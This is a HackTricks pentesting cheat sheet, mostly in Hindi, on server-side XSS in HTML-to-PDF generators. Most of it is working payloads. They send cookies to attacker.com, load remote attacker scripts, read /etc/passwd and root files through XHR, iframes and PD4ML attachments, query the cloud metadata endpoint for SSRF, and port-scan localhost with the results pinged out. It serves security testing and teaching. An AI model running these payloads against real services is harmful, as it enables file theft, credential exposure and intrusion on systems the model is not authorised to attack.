Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप PDF बनाने वाले बॉट को मनाने की कोशिश कर सकते हैं कि वह मनमाने JS कोड को निष्पादित करे। तो, यदि PDF निर्माता बॉट कुछ प्रकार के HTML टैग पाता है, तो यह उन्हें व्याख्या करेगा, और आप इस व्यवहार का दुरुपयोग करके Server XSS का कारण बन सकते हैं।

कृपया ध्यान दें कि <script></script> टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक अलग विधि की आवश्यकता होगी (उदाहरण के लिए, <img का दुरुपयोग करना)। इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप बनाई गई PDF को देख/डाउनलोड करने में सक्षम होंगे, इसलिए आप जो कुछ भी JS के माध्यम से लिखते हैं (उदाहरण के लिए document.write() का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप बनाई गई PDF को नहीं देख सकते, तो आपको शायद जानकारी निकालने के लिए वेब अनुरोध करना होगा (Blind)।

लोकप्रिय PDF निर्माण

  • wkhtmltopdf HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न अनुप्रयोगों के लिए सुलभ बनाता है।

  • TCPDF PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जो जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को दर्शाता है।

  • जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए PDFKit एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, जो वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।

  • जावा डेवलपर्स iText को प्राथमिकता दे सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण को सुविधाजनक बनाता है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताओं का सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाता है।

  • FPDF एक और PHP पुस्तकालय है, जो अपनी सरलता और उपयोग में आसानी के लिए जाना जाता है। यह उन डेवलपर्स के लिए डिज़ाइन किया गया है जो PDF निर्माण के लिए एक सीधा दृष्टिकोण चाहते हैं, बिना विस्तृत सुविधाओं की आवश्यकता के।

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

इस SVG पेलोड के अंदर पिछले या निम्नलिखित पेलोड में से कोई भी उपयोग किया जा सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं।

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

आप बहुत सारे अन्य SVG पेलोड https://github.com/allanlw/svg-cheatsheet में पा सकते हैं।

पथ प्रकटीकरण

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

इस कमजोरी का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरी का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ लोड करने के लिए मजबूर कर सकेंगे।

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

स्थानीय फ़ाइल पढ़ें / SSRF

file:///etc/passwd को http://169.254.169.254/latest/user-data में बदलें, उदाहरण के लिए एक बाहरी वेब पृष्ठ (SSRF) तक पहुँचने का प्रयास करने के लिए।

यदि SSRF की अनुमति है, लेकिन आप एक दिलचस्प डोमेन या IP तक नहीं पहुँच सकते, इस पृष्ठ को संभावित बाईपास के लिए देखें

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

बॉट देरी

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

पोर्ट स्कैन

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (कुछ मेटाडेटा पढ़ें?)।

Attachments: PD4ML

कुछ HTML 2 PDF इंजन हैं जो PDF के लिए अटैचमेंट निर्दिष्ट करने की अनुमति देते हैं, जैसे PD4ML। आप इस सुविधा का दुरुपयोग करके PDF में कोई भी स्थानीय फ़ाइल अटैच कर सकते हैं। अटैचमेंट खोलने के लिए मैंने Firefox के साथ फ़ाइल खोली और पेपरक्लिप प्रतीक पर डबल क्लिक किया ताकि अटैचमेंट को एक नई फ़ाइल के रूप में स्टोर किया जा सके। बर्प के साथ PDF प्रतिक्रिया कैप्चर करने से PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

संदर्भ

HackTricks का समर्थन करें

Last updated